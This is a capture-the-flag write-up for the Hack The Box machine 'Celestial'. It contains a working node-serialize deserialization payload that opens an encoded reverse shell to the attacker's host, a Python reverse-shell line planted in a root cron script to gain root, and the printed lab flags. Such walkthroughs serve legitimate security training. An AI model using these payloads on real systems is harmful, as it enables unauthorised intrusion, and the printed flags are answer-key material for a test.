Hack-the-box Celestial
- 10 mins
Celestial: 10.10.10.85
Scanning
sudo nmap -p 1-65535 -sV -sS -T4 10.10.10.85
[sudo] password for srbz:
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-01 19:58 EDT
Warning: 10.10.10.85 giving up on port because retransmission cap hit (6).
Stats: 0:51:53 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 20:50 (0:00:00 remaining)
Nmap scan report for 10.10.10.85
Host is up (0.12s latency).
Not shown: 65491 closed ports, 43 filtered ports
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3395.61 seconds
Burp
GET /favicon.ico HTTP/1.1
Host: 10.10.10.85:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
Connection: close
Since this is HTTP, let’s try to decode the Cookie.profile as URL then Base64.
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
Gaining Access
Untrusted data passed into unserialize() function in node-serialize module can be exploited to achieve arbitrary code execution by passing a serialized JavaScript Object with an Immediately invoked function expression (IIFE).
Pseudo code Server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username && obj.num) {
res.send("Hey " & obj.username & obj.num & " + " & obj.num & " = " & obj.num & obj.num)
}
} else {
res.cookie('profile', 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D', {
maxAge: 900000,
httpOnly: true
});
}
});
app.listen(3000);
p nodejsshell.py 10.10.15.172 1337
[+] LHOST = 10.10.15.172
[+] LPORT = 1337
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,53,46,49,55,50,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
We can use JavaScript’s Immediately invoked function expression (IIFE) for calling the function. If we use IIFE bracket ()after the function body, the function will get invoked when the object is created. It works similar to a Class constructor in C++.
{"username":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,53,46,49,55,50,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
Bv Using burpSuite, it is easy to edit the HTTP req in a way to encode and inject this payload ;) Juste make sure to encode as Base64 and URL. You can use hot keys CTRL+B and CTRL+U.
GET / HTTP/1.1
Host: 10.10.10.85:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: profile={"username":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,53,46,49,55,50,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
Connection: close
Upgrade-Insecure-Requests: 1
nc -l 10.10.15.172 -p 1337
Connected!
Maintaining Access
N/A
Covering Tasks
ls -la
total 152
drwxr-xr-x 21 sun sun 4096 Aug 5 02:46 .
drwxr-xr-x 3 root root 4096 Sep 19 2017 ..
-rw------- 1 sun sun 1 Mar 4 15:24 .bash_history
-rw-r--r-- 1 sun sun 220 Sep 19 2017 .bash_logout
-rw-r--r-- 1 sun sun 3771 Sep 19 2017 .bashrc
drwx------ 13 sun sun 4096 Nov 8 2017 .cache
drwx------ 16 sun sun 4096 Sep 20 2017 .config
drwx------ 3 root root 4096 Sep 21 2017 .dbus
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Desktop
-rw-r--r-- 1 sun sun 25 Sep 19 2017 .dmrc
drwxr-xr-x 2 sun sun 4096 Mar 4 15:08 Documents
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Downloads
-rw-r--r-- 1 sun sun 8980 Sep 19 2017 examples.desktop
drwx------ 2 sun sun 4096 Sep 21 2017 .gconf
drwx------ 3 sun sun 4096 Aug 5 02:45 .gnupg
drwx------ 2 root root 4096 Sep 21 2017 .gvfs
-rw------- 1 sun sun 6732 Aug 5 02:46 .ICEauthority
drwx------ 3 sun sun 4096 Sep 19 2017 .local
drwx------ 4 sun sun 4096 Sep 19 2017 .mozilla
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Music
drwxrwxr-x 2 sun sun 4096 Sep 19 2017 .nano
drwxr-xr-x 47 root root 4096 Sep 19 2017 node_modules
-rw-rw-r-- 1 sun sun 20 Sep 19 2017 .node_repl_history
drwxrwxr-x 57 sun sun 4096 Sep 19 2017 .npm
-rw-r--r-- 1 root root 21 Mar 4 15:40 output.txt
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Pictures
-rw-r--r-- 1 sun sun 655 Sep 19 2017 .profile
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Public
-rw-rw-r-- 1 sun sun 66 Sep 20 2017 .selected_editor
-rw-rw-r-- 1 sun sun 870 Sep 20 2017 server.js
-rw-r--r-- 1 sun sun 0 Sep 19 2017 .sudo_as_admin_successful
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Templates
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Videos
-rw------- 1 sun sun 48 Aug 5 02:45 .Xauthority
-rw------- 1 sun sun 82 Aug 5 02:45 .xsession-errors
-rw------- 1 sun sun 1302 Mar 7 08:33 .xsession-errors.old
python -c 'import pty; pty.spawn("/bin/bash")'
find -iname 'user.txt'
./Documents/user.txt
cat Documents/user.txt
9a093cd22ce86b7f41db4116e80d0b0f
cd /var/log
cat syslog
(...)
Aug 5 03:30:01 sun CRON[11472]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
(...)
Aug 5 03:35:01 sun CRON[21608]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
(...)
Aug 5 03:40:01 sun CRON[31742]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
(...)
This cron runs every 5. Why don’t we edit /home/sun/Documents/script.py like this?
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.172",41337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /home/sun/Documents/script.py
nc -l 10.10.14.35 41337
/bin/sh: 0: can't access tty; job control turned off
# ls
root.txt
script.py
# cat root.txt
ba1d0019200a54e370ca151007a8095a
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /home
sun
# ^C
Srbx7
Realty's your own fiction.